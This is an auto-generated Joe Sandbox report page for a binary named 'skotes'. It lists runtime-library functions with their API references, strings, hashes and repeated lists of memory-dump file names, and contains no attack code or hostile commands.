Associated: 00000003.00000002.7280355990.0000000000910000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280427090.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280599351.000000000091A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280847963.000000000091F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280967937.0000000000920000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281087872.0000000000922000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281231155.0000000000923000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281368048.000000000092B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281535264.0000000000942000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281656926.0000000000944000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281741289.000000000094D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000094E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000096B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282158490.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282279815.000000000099A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282398679.000000000099F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282502972.00000000009A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282600354.00000000009AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282654461.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_690000_skotes.jbxd

Yara matches

Similarity

API ID: CacheGroupLocalSchedule$Concurrency::details::SegmentSegment::std::invalid_argument::invalid_argument
String ID: count$ppVirtualProcessorRoots
API String ID: 2663199487-3650809737
Opcode ID: e030d175b8756f21ca384768579908702a58e782584d6c076fad25d22cd31bcc
Instruction ID: 961f9f10ecd6b7be9ae07b168e3e4d6189a714befa8ab06caffe15cb19bb9e27
Opcode Fuzzy Hash: e030d175b8756f21ca384768579908702a58e782584d6c076fad25d22cd31bcc
Instruction Fuzzy Hash: 8D21BA74600215EFCB44EFA8C892EAE77A6BF49310F00406DF5069B692DF71EE42CB55

Function 006BB975 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 64COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 006BBA0E

Strings

combase.dll, xrefs: 006BB983, 006BB988, 006BB99D, 006BB9C8
RoUninitialize, xrefs: 006BB9C1
RoInitialize, xrefs: 006BB998

Memory Dump Source

Source File: 00000003.00000002.7275648216.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000003.00000002.7275433344.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275648216.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275968302.00000000006F9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276147985.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276304811.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276928573.0000000000861000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277058209.0000000000863000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277328542.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277424160.000000000087E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.0000000000889000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277864045.000000000088D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277942912.000000000088E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278102362.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278214114.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278285092.000000000089B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278377632.00000000008A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278550742.00000000008B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278710256.00000000008B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278829889.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278929467.00000000008B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279039474.00000000008C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279168151.00000000008CD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279334863.00000000008E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279407574.00000000008F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279518624.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279661164.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279854603.0000000000903000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279993030.0000000000905000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280108048.000000000090E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280247867.000000000090F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280355990.0000000000910000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280427090.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280599351.000000000091A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280847963.000000000091F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280967937.0000000000920000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281087872.0000000000922000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281231155.0000000000923000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281368048.000000000092B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281535264.0000000000942000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281656926.0000000000944000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281741289.000000000094D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000094E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000096B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282158490.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282279815.000000000099A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282398679.000000000099F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282502972.00000000009A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282600354.00000000009AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282654461.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_690000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error
String ID: RoInitialize$RoUninitialize$combase.dll
API String ID: 348560076-3997890769
Opcode ID: 26669a1af991a1aad2cb726dc8743e80ae07cb158b653e827ec82505a85e3a1c
Instruction ID: 59b1b9aabf715c15df60414f1cbe502cc8cbe24de86a9574d12c81fee0b8e49a
Opcode Fuzzy Hash: 26669a1af991a1aad2cb726dc8743e80ae07cb158b653e827ec82505a85e3a1c
Instruction Fuzzy Hash: CC01D6B0A823656AD71077B65C0DBFB399E9F06704F603429B640F6282EF75C8418BA5

Function 006B6E1C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 61COMMON

Download Yara Rule

APIs

SafeRWList.LIBCONCRT ref: 006B6E73

Part of subcall function 006B4E6E: Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 006B4E7F
Part of subcall function 006B4E6E: List.LIBCMT ref: 006B4E89

std::invalid_argument::invalid_argument.LIBCONCRT ref: 006B6E85
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 006B6EAA

Strings

eventObject, xrefs: 006B6E7D

Memory Dump Source

Source File: 00000003.00000002.7275648216.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000003.00000002.7275433344.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275648216.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275968302.00000000006F9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276147985.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276304811.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276928573.0000000000861000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277058209.0000000000863000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277328542.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277424160.000000000087E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.0000000000889000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277864045.000000000088D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277942912.000000000088E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278102362.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278214114.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278285092.000000000089B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278377632.00000000008A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278550742.00000000008B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278710256.00000000008B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278829889.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278929467.00000000008B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279039474.00000000008C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279168151.00000000008CD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279334863.00000000008E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279407574.00000000008F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279518624.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279661164.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279854603.0000000000903000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279993030.0000000000905000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280108048.000000000090E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280247867.000000000090F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280355990.0000000000910000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280427090.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280599351.000000000091A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280847963.000000000091F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280967937.0000000000920000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281087872.0000000000922000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281231155.0000000000923000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281368048.000000000092B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281535264.0000000000942000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281656926.0000000000944000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281741289.000000000094D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000094E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000096B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282158490.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282279815.000000000099A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282398679.000000000099F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282502972.00000000009A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282600354.00000000009AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282654461.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_690000_skotes.jbxd

Yara matches

Similarity

API ID: List$AcquireConcurrency::details::_Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorLock::_ReaderSafeWriteWriterstd::invalid_argument::invalid_argument
String ID: eventObject
API String ID: 1288476792-1680012138
Opcode ID: 0c0af11d9504f29978549dfc3243d1895ab71510ae9a447c5cb9fea20b5b3b1e
Instruction ID: 9ecaab4c82de4574923f5f5a33c1076ade188d531bae64704fbab1f54f804a47
Opcode Fuzzy Hash: 0c0af11d9504f29978549dfc3243d1895ab71510ae9a447c5cb9fea20b5b3b1e
Instruction Fuzzy Hash: D81102B5942304E6CB24EAA4CC8AFFE73696F05314F604128B504A61C2DB34DE45C765

Function 006BA0EE Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35threadCOMMON

Download Yara Rule

APIs

Concurrency::details::SchedulerProxy::GetCurrentThreadExecutionResource.LIBCMT ref: 006BA102
Concurrency::details::ResourceManager::RemoveExecutionResource.LIBCONCRT ref: 006BA126
std::invalid_argument::invalid_argument.LIBCONCRT ref: 006BA139

Strings

pScheduler, xrefs: 006BA131

Memory Dump Source

Source File: 00000003.00000002.7275648216.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000003.00000002.7275433344.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275648216.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275968302.00000000006F9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276147985.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276304811.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276928573.0000000000861000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277058209.0000000000863000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277328542.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277424160.000000000087E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.0000000000889000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277864045.000000000088D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277942912.000000000088E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278102362.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278214114.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278285092.000000000089B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278377632.00000000008A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278550742.00000000008B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278710256.00000000008B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278829889.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278929467.00000000008B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279039474.00000000008C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279168151.00000000008CD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279334863.00000000008E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279407574.00000000008F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279518624.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279661164.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279854603.0000000000903000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279993030.0000000000905000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280108048.000000000090E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280247867.000000000090F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280355990.0000000000910000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280427090.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280599351.000000000091A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280847963.000000000091F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280967937.0000000000920000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281087872.0000000000922000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281231155.0000000000923000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281368048.000000000092B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281535264.0000000000942000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281656926.0000000000944000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281741289.000000000094D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000094E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000096B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282158490.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282279815.000000000099A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282398679.000000000099F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282502972.00000000009A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282600354.00000000009AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282654461.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_690000_skotes.jbxd

Yara matches

Similarity

API ID: Resource$Concurrency::details::Execution$CurrentManager::Proxy::RemoveSchedulerThreadstd::invalid_argument::invalid_argument
String ID: pScheduler
API String ID: 246774199-923244539
Opcode ID: f712bacb9ca761ebb7f82c57cbf81b3cb2414e7f3085d709be85348a7f86b6f6
Instruction ID: 298f803ca30d29a3a112b750ca938ceb7fe0b9b0b00da2b23ab26cd1c6d6ccf3
Opcode Fuzzy Hash: f712bacb9ca761ebb7f82c57cbf81b3cb2414e7f3085d709be85348a7f86b6f6
Instruction Fuzzy Hash: 78F059B5A00204B7C7A0FA98DC42CEEB37B9E90714B10C12DE40517281DF71AE86CB96

Function 006D67A9 Relevance: 6.2, APIs: 4, Instructions: 245COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 006D6902
__alloca_probe_16.LIBCMT ref: 006D6998
__freea.LIBCMT ref: 006D6A03
__freea.LIBCMT ref: 006D6A0F

Memory Dump Source

Source File: 00000003.00000002.7275648216.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000003.00000002.7275433344.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275648216.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275968302.00000000006F9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276147985.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276304811.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276928573.0000000000861000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277058209.0000000000863000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277328542.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277424160.000000000087E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.0000000000889000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277864045.000000000088D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277942912.000000000088E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278102362.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278214114.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278285092.000000000089B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278377632.00000000008A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278550742.00000000008B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278710256.00000000008B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278829889.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278929467.00000000008B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279039474.00000000008C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279168151.00000000008CD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279334863.00000000008E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279407574.00000000008F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279518624.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279661164.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279854603.0000000000903000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279993030.0000000000905000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280108048.000000000090E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280247867.000000000090F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280355990.0000000000910000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280427090.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280599351.000000000091A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280847963.000000000091F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280967937.0000000000920000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281087872.0000000000922000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281231155.0000000000923000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281368048.000000000092B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281535264.0000000000942000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281656926.0000000000944000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281741289.000000000094D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000094E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000096B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282158490.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282279815.000000000099A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282398679.000000000099F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282502972.00000000009A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282600354.00000000009AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282654461.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_690000_skotes.jbxd

Yara matches

Similarity

API ID: __alloca_probe_16__freea
String ID:
API String ID: 1635606685-0
Opcode ID: 5b708b2c9a3e8d20e4f28ed9c7507869134727fe11a3e7b3aa7e3cfd72724393
Instruction ID: 46987daaefd113aac18a6df11b2e4b35a9cc8a4db3b15deccaf55b8d58ce7dbb
Opcode Fuzzy Hash: 5b708b2c9a3e8d20e4f28ed9c7507869134727fe11a3e7b3aa7e3cfd72724393
Instruction Fuzzy Hash: C281BE72E0024A9BDF209EA5C891EEE7BA7DF09314F19415AF841BB341E7358C459BA0

Function 006C504E Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 006C5115
___AdjustPointer.LIBCMT ref: 006C5138
___AdjustPointer.LIBCMT ref: 006C51D4

Memory Dump Source

Source File: 00000003.00000002.7275648216.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000003.00000002.7275433344.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275648216.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275968302.00000000006F9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276147985.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276304811.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276928573.0000000000861000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277058209.0000000000863000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277328542.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277424160.000000000087E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.0000000000889000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277864045.000000000088D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277942912.000000000088E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278102362.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278214114.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278285092.000000000089B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278377632.00000000008A2000.00000040.00000001.01000000.00000007.sdmpDownload File
